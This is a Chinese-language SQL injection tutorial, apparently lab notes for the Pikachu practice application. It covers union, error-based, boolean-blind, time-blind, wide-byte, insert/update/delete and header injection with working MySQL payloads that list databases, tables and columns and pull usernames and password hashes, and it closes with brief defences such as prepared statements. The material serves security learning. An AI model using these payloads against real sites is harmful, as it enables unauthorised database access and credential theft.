confidant

SQL注入


原理:通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,它目前是黑客对数据库进行攻击的最常用手段之一。

知识点


Mysql5.0以上版本存在information_schema系统数据库中存放所有的数据库的相关信息,一般的我们利用该数据库可以进行一次完整的注入

数据库:

information_schena.schemata——系统数据库中schemata数据库包含所有数据库
information_schema.tables——系统数据库中tables数据库包含所有数据库、数据库中所有表information_schema.columns——系统数据库中columns数据库包含所有数据库、数据库中所有表、数据库中所有表的列

字段:

table_schema——存储数据库名的字段
table_name——存储数据表名字段
column_name——存储列名字段

函数:

version()——MySQL 版本
user()——数据库用户名
database()——数据库名
@@datadir——数据库路径
@@version_compile_os——操作系统版本
concat(str1,str2,...)——没有分隔符地连接字符串
group_concat(str1,'',str2,...)——连接一个组的所有字符串,并以分隔每一条数据
密码一般为md5加密,通过报错获取密码可能显示不全,使用截取mid()函数一半一半获取,再拼接mid(pasword,1,16)+mid(pasword,17,16)=md5(password)
left(string, n)——获得字符串左部指定个数的字符
right(string, n)——获得字符串右部指定个数的字符
substr(string string,num start,num length)——获得字符串,从start到指定length的字符
ord(string)——返回第一个字符的ASCII码
ascii(string)——返回第一个字符的ASCII码
if(条件表达式,true,false)——if函数根据条件表达式的结果为true或false,返回第一个值,或第二个值

SQL语句操作符:

union——连接两个以上的 SELECT 语句的结果组合到一个结果集合中。结果集合会删除重复的数据
union——连接两个以上的 SELECT 语句的结果组合到一个结果集合中。结果集合不会删除重复的数据
order by——对查询结果排序
limit——limit 子句可以被用于强制 SELECT 语句返回指定的记录数

SQL注入流程


原理:攻击者通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令

注入流程:找到注入点,闭合,判断字段列数->显示位置->数据库名->表名->列名->敏感数据

判断注入点:

判断一个链接是否存在注入漏洞,可以通过对其传入的参数(但不仅仅只限于参数,还有cookie,HTTP头等) 进行构造,然后对服务器返回的内容进行判断来查看是否存在注入点。

注入分类:

  • 参数类型分类

    - 数字型注入
    参数为数字,通过将参数修改为2-1,如果语句执行,存在数字型注入

    - 字符型注入
    参数为字符串,通过在参数后添加',查询语句报错,存在字符型注入

  • 提交方式分类

    - GET注入

    - POST注入

    - COOKIE注入

    - HTTP头注入

        - XFF头

        - Cookie

        - Host

  • 按照语句的执行效果

    - 联合查询注入
    通过union来将多条语句的结果组合到一个结果中

    - 宽字节注入
    宽字节注入是由编码不统一引起的,一般是在PHP+MySQL中出现

    - 报错盲注
    输入错误参数,页面会返回错误信息,或者将语句的查询结果直接返回到页面

    - 布尔盲注
    无法直接通过页面的返回内容来获取信息,页面只会返回真假,你需要对一个个字符进行测试

    - 时间盲注
    页面无法直接返回真假,需要构造条件语句查看时间延迟的语句是否成功执行(观察页面的返回时间的长短)

    - 堆查询注入
    堆叠查询可以构造执行多条语句(部分数据库支持)

    - 二次注入
    将攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入

尝试闭合:

存在字符型注入,通过查询语句执行失败,查看页面报错,进而判断闭合字符
常见基础闭合字符: ' " % )
注释字符:—+ #
使用基础闭合字符进行组合判断,使用注释字符进行注释原有查询语句之后的内容,达到闭合的目的
例如:'—+ ''# ')—+ '')# %')—+ '))# ''))—+

字段列数:

  • 使用union select 进行判断列数(不推荐,列数比较多时,判断次数较多)
    例如:
1' union select 1,2,3#
  • 使用order by 进行判断列数(推荐,折半判断,效率较高)
    例如:
1' order by 4#

判断显示位置:

只适用页面有返回查询信息的情况
知道查询语句的字段列数,通过使用union select 进行判断数据显示位置,以便于之后注入数据显示
注:联合查询当第一个查询语句查询数据不存在,则显示第二个查询语句的数据,所以使用-1作为参数

-1' union select 1,2,3#

爆破数据名:

  • 联合查询注入
    例:
1' union select 1,**database()** #
1' union select 1,group_concat(0x7e,**schema_name** ) from information_schema.schemata#
  • 宽字节注入
    例:

1%df' union select 1,**database()** #
1%df%5c%5c' union select 1,**database()** #
  • 报错盲注
    例:

1' and updatexml(1,concat(0x7e,(**select schema_name from information_schema.schemata limit 0,1** )),3)#
1' and extractvalue(1,concat(0x7e,(**select schema_name from information_schema.schemata limit 0,1** )))#


  • 布尔盲注—依次爆破字符
    例:
kobe' and ascii(substr(**database()** ,1,**1** ))=**111** #
  • 时间盲注—依次爆破字符
    例:
kobe' and if(ascii(substr(**database()** ,1,**1** ))=**112** ,sleep(5),null)#

爆破表名:

  • 联合查询注入
    例:
-1' union select 1,group_concat(0x7e,table_name) from information_schema.tables where table_schema=database()#
  • 宽字节注入
    例:

1%df' union select 1,group_concat(0x7e,table_name) from information_schema.tables where table_schema=database()#
1%df%5c%5c' union select 1,group_concat(0x7e,table_name) from information_schema.tables where table_schema=database()#
  • 报错盲注
    例:

1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()** limit 0,1** )),3)#
1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()** limit 0,1** )))#
1' and (select 1 from (select count(*),concat((select **(** select table_name from information_schema.tables where table_schema=database()** limit 0,1)** ),floor(rand(0)*2))x from information_schema.tables group by x)a) #
  • 布尔盲注
    例:
kobe' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=104)#
  • 时间盲注
    例:
kobe' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,**1** ))=**104** ,sleep(5),null)#

爆破列名:

  • 联合查询注入
    例:
-1' union select 1,group_concat(0x7e,column_name) from information_schema.columns where table_schema=database() and table_name="users"#
  • 宽字节注入
    例:
1%df' union select 1,group_concat(0x7e,column_name) from information_schema.columns where table_schema=database() and table_name="users"#
1%df%5c%5c' union select 1,group_concat(0x7e,column_name) from information_schema.columns where table_schema=database() and table_name="users"#
  • 报错盲注
    例:
1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name="users"** limit 0,1** )),3)#
1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name="users"** limit 0,1** )))#
1' and (select 1 from (select count(*),concat((select (select concat(column_name,0x7e) from information_schema.columns where table_schema=database() and table_name="users" limit 0,1)),floor(rand(0)*2))x from information_schema.tables group by x)a) #
  • 布尔盲注
    例:
kobe' and (ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 0,1),1,1))=105)#
  • 时间盲注
    例:
kobe' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 0,1),1,**1** ))=**105** ,sleep(5),null)#

爆破数据:

  • 联合查询注入
    例:
-1' union select 1,group_concat(username,0x7e,password) from pikachu.users#
  • 宽字节注入
    例:

1%df' union select 1,group_concat(username,0x7e,password) from pikachu.users#
1%df%5c%5c' union select 1,group_concat(username,0x7e,password) from pikachu.users#
  • 报错盲注
    例:

1' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from pikachu.users** limit 0,1** )),3)#
1' and extractvalue(1,concat(0x7e,(select concat(username,0x7e,password) from pikachu.users** limit 0,1** )))#
1' and (select 1 from (select count(*),concat((select **(** select concat(username,0x7e,password) from pikachu.users** limit 0,1)** ),floor(rand(0)*2))x from information_schema.tables group by x)a) #
  • 布尔盲注
    例:
kobe' and (ascii(substr((select username from pikachu.users limit 0,1),1,1))=104)#
  • 时间盲注
    例:
kobe' and if(ascii(substr((select username from pikachu.users limit 0,1),1,**1** ))=104,sleep(5),null)#

一、数字型注入(POST)


数字型注入主要特征

  • 参数为数字

  • 参数进行运算,依然可以查询语句执行

选择数字,进行抓包,发送到Repeater模块

修改参数,id =1',send,报错,存在注入点

将参数修改为id=2-1,成功执行,是数字型注入,不需要闭合

猜列数id=1 order by 8#,折半猜列数

列数为2

判断显示位置

爆当前数据库名和用户

1 union select user(),database()#

爆当前数据中的所有的表

1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

爆当前数据中的所有的表

1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#

获取表中的数据

1 union select username,password from pikachu.users

二、字符型注入(GET)


字符型注入主要特征

  • 参数为字符

  • 注入是,需要闭合字符串

输入1',判断是否存在注入点,报错,存在SQL注入,为字符型

测试使其闭合的符号,使用1' or 1=1#进行尝试,成功闭合,闭合字符为'

判断列数

1' order by 8#

判断显示位置,使用union进行合并查询,查看显示数据的列数,因为没有1的用户名所以不显示第一查询语句的内容

1' union select 1,2#

之后注入步骤除了闭合字符之外同数字型注入(POST)一致

三、搜索型注入


搜索型注入主要特征

  • 可能在网站搜索框输入参数,查询语句结果为模糊查询,可能存在搜索型注入

输入1',判断是否存在注入点,报错,根据报错内容,存在SQL注入,为搜索型 '%name%'

测试使其闭合的符号,使用1' or 1=1#进行尝试,

成功将前面闭合,使用#将后部分注释掉, '%name' or 1=1 #%'

之后注入步骤除了闭合字符之外同数字型注入(POST)一致

四、XX型注入


XX型注入主要特征

  • 闭合字符比较复杂

输入1',报错,存在SQL注入,观察报错语句,猜测闭合字符为1')

进行尝试

1') or 1=1#

之后注入步骤除了闭合字符之外同数字型注入(POST)一致

五、Insert/update注入


Insert/update注入主要特征

  • 大多在注册和修改信息等界面存在

  • 需要前后都进行闭合

  • 只可以使用报错注入方式

进入注册,输入1’ 测试是否有注入点

存在注入点,因为使insert语句,不能使用union进行查询,可以使用报错注入

爆破数据名

1' or updatexml(1,concat(0x7e,database()),0) or '        

爆破数据表

1' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),0) or'

由于updatexml一次只能显示一行,需要调整limit参数,依次爆出表名

1' or extractvalue(1,group_concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1))) or' 

效果同上

爆破列名

1' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='pikachu' and table_name='users' limit 0,1)),0) or '

知道数据库名和表名和列名可以爆数据

爆破用户名

1' or updatexml(1,concat(0x7e,(select username from pikachu.users limit 0,1)),0) or '

密码一般为md5加密,通过报错获取密码会显示不全,使用截取mid()函数一半一半获取:

1' or updatexml(1,concat(0x7e,(select mid(password,1,16) from pikachu.users limit 0,1)),0) or '

1' or updatexml(1,concat(0x7e,(select mid(password,17,16) from pikachu.users limit 0,1)),0) or '

六、Delete注入


Delete注入主要特征

  • 后台管理界面中删除命令,可能存在该注入

  • 只可以使用报错注入方式

先留言,点击删除,抓包,发送Repeater模块

发送Repeater模块

在Burp Suite对payload进行url编码

之后报错注入步骤同Insert/update注入一致

七、Http header注入


Http header注入主要特征

  • 该类型注入,需要系统记录用户访问网站的http header的字段

输入账号密码,显示user-agent和http-accept记录在数据库中,尝试进行SQL注入

发送Repeater模块

1、UA头

存在SQL注入

八、盲注(base on boolian)


布尔盲注主要特征

  • 没有报错信息

  • 不管输入的数据是什么,执行后都只有两种情况(0和1)

  • 在输入正确情况,利用and 1=1 / and 1=2 进行判断

输入正确用户名,利用and,判断是否正确执行

kobe' and 1=1#

在and之后构造判断语句,通过是否正确执行,依次判断数据的字符

kobe' and ascii(substr(database(),1,1))=111#

判断出数据库名第一个字符为'p' ascii为112

kobe' and ascii(substr(database(),1,1))=112#

依次判断数据库名、表名、列名、数据

九、盲注(base on time)


时间盲注主要特征

  • 无回显信息

  • 通过sleep()函数,根据网页执行的时间,判断查询语句是否执行

执行语句,F12后台中网络,查看网页执行时间是否为5秒左右

kobe' and sleep(5)#

执行语句,查看网页执行时间是否为5秒

  • 5秒左右,执行成功,判断出字符

  • 大于5秒或者小于5秒,执行失败,修改判断符号和数字,多次判断,依次判断字符串

kobe' and if(ascii(substr(database(),1,1))=112,sleep(5),null)#
kobe' and if(ascii(substr(database(),1,1))=112,null,sleep(5))#

十、宽字节注入


原理:mysql 在使用 GBK 编码的时候,会认为两个字符为一个汉字
例如%aa%5c 就是一个汉字

addslashes()函数
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符:单引号('),双引号("),反斜杠(\),NULL
%df 吃掉 \

kobe%df' or 1=1#

将 ' 中通过添加\形成\将 \转义了,从⽽单引号逃逸出来就会引发注⼊漏洞
例如可以构造 %df%5c%5c%27 的情况,后面的%5c 会被前面的%5c 给转义

kobe%df%5c%5c' or 1=1#

防御措施


  • 表单过滤,验证表单提交的合法性,对一些特殊字符进行转义处理

  • 数据库权限最小化

  • 查询语句预编译、绑定参数或者使用存储过程(例如:PDO)
    PDO 防注入的原理:将查询语句和具体的参数值分开发送到数据库服务器,在语句执行前参数值不会被解析。
    PDO 禁用模拟预处理语句,将变量和SQL模板分两次发送,
    —如果查询的其他部分是由未转义的输入来构建的,则仍存在 SQL 注入的风险
    —占位符有两种形式,一种是通过命名参数,另一种是通过问好占位符的形式

相关文章: